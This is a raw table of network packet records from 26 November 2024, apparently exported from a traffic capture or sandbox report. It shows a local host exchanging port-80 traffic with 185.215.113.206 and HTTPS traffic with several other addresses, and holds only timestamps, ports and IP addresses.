Nov 26, 2024 22:52:47.262676954 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.262726068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.262759924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.263634920 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.263753891 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.263771057 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.263793945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.264646053 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.264693975 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.264749050 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.264816046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.265095949 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.265120983 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.265163898 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.265177011 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.265201092 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.265217066 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.265589952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.265638113 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.265698910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.265738010 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.266607046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.266670942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.266686916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.266727924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.267587900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.267646074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.267683983 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.267849922 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.268600941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.268656969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.268686056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.268727064 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.269562006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.269618988 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.269656897 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.269701958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.270616055 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.270823002 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.273029089 CET	49863	443	192.168.2.7	23.200.3.33
Nov 26, 2024 22:52:47.273030996 CET	49861	443	192.168.2.7	104.70.121.176
Nov 26, 2024 22:52:47.273051023 CET	443	49863	23.200.3.33	192.168.2.7
Nov 26, 2024 22:52:47.285985947 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.286006927 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.286061049 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.286076069 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.286109924 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.286124945 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.306736946 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.306761980 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.306807995 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.306823015 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.306837082 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.306863070 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.319330931 CET	49863	443	192.168.2.7	23.200.3.33
Nov 26, 2024 22:52:47.477972031 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.478018999 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.478152990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.478197098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.478353024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.478390932 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.478441954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.478518963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.479356050 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.479398966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.479435921 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.479470968 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.480295897 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.480381012 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.480626106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.480664968 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.480820894 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.480932951 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.481633902 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.481719971 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.481801033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.481875896 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.482799053 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.482812881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.482845068 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.482877016 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.483591080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.483633995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.483762026 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.483983040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.484631062 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.484683037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.484736919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.484771013 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.485577106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.485687017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.485712051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.485732079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.486567974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.486617088 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.486704111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.486741066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.488078117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.488090992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.488142014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.488210917 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.488239050 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.488277912 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.488290071 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.488306046 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.488343000 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.488537073 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.488594055 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.488640070 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.488723040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.489645958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.489660025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.489686966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.489706993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.490498066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.490550995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.490667105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.490782976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.491517067 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.491554976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.491638899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.491695881 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.492650986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.492702007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.492974043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.493016005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.493613958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.493653059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.493755102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.493799925 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.494700909 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.494801998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.494849920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.495469093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.495511055 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.495563984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.495624065 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.496455908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.496499062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.496530056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.496619940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.497426987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.497617960 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.497653008 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.497665882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.498424053 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.498509884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.498526096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.498595953 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.499644995 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.499686003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.499856949 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.499902010 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.500420094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.500463963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.500541925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.500686884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.501426935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.501463890 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.502070904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.502110958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.503266096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.503278971 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.503304958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.503329039 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.504106045 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.504117966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.504151106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.504164934 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.504829884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.504844904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.504868984 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.504892111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.504929066 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.504968882 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.505000114 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.505012989 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.505038023 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.505053043 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.505577087 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.505589962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.505628109 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.505647898 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.506396055 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.506439924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.506501913 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.506563902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.507349014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.507410049 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.507461071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.507523060 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.508363008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.508419037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.508438110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.508487940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.509314060 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.509361029 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.509471893 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.509510040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.510302067 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.510431051 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.510492086 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.511286974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.511337996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.511420012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.511533976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.512334108 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.512383938 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.512406111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.512442112 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.513400078 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.513453960 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.513830900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.513883114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.514264107 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.514314890 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.514375925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.514539003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.515266895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.515321970 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.515402079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.515445948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.516479015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.516521931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.516844988 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.516897917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.517759085 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.517771959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.517810106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.517826080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.518222094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.518265009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.518554926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.518784046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.519231081 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.519284010 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.519323111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.519455910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.520292997 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.520298004 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.520319939 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.520359039 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.520371914 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.520391941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.520391941 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.520404100 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.520751953 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.520885944 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.521203041 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.521245003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.521296024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.521450996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.522625923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.522639990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.522690058 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.523253918 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.523308992 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.523849010 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.523888111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.524240017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.524285078 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.524287939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.524347067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.525264025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.525316954 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.525485992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.525522947 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.527782917 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.527795076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.527827978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.527842045 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.527854919 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.527863979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.527880907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.528208971 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.528244972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.528249979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.528279066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.529325008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.529367924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.529469967 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.529516935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.536664963 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.536699057 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.536736965 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.536757946 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.536777973 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.536799908 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.551826954 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.551851034 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.551891088 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.551902056 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.551944017 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.567692041 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.567713976 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.567751884 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.567761898 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.567790985 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.567806005 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.606852055 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.606895924 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.606937885 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.606949091 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.606972933 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.606983900 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.609504938 CET	443	49862	108.139.47.92	192.168.2.7
Nov 26, 2024 22:52:47.609714031 CET	49862	443	192.168.2.7	108.139.47.92
Nov 26, 2024 22:52:47.609724045 CET	443	49862	108.139.47.92	192.168.2.7
Nov 26, 2024 22:52:47.610811949 CET	443	49862	108.139.47.92	192.168.2.7
Nov 26, 2024 22:52:47.610884905 CET	49862	443	192.168.2.7	108.139.47.92
Nov 26, 2024 22:52:47.611834049 CET	49862	443	192.168.2.7	108.139.47.92
Nov 26, 2024 22:52:47.611903906 CET	443	49862	108.139.47.92	192.168.2.7
Nov 26, 2024 22:52:47.614135027 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.615583897 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.615619898 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.616274118 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.616281033 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.662305117 CET	49862	443	192.168.2.7	108.139.47.92
Nov 26, 2024 22:52:47.662324905 CET	443	49862	108.139.47.92	192.168.2.7
Nov 26, 2024 22:52:47.710809946 CET	49862	443	192.168.2.7	108.139.47.92
Nov 26, 2024 22:52:47.760966063 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.761043072 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.761245966 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.761306047 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.761317968 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.761332035 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.761337042 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.764239073 CET	49871	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.764282942 CET	443	49871	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.764482975 CET	49871	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.764662981 CET	49871	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.764677048 CET	443	49871	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.767430067 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.767522097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.767563105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.767633915 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.767818928 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.767869949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.768090010 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.768124104 CET	49801	80	192.168.2.7	185.215.113.206
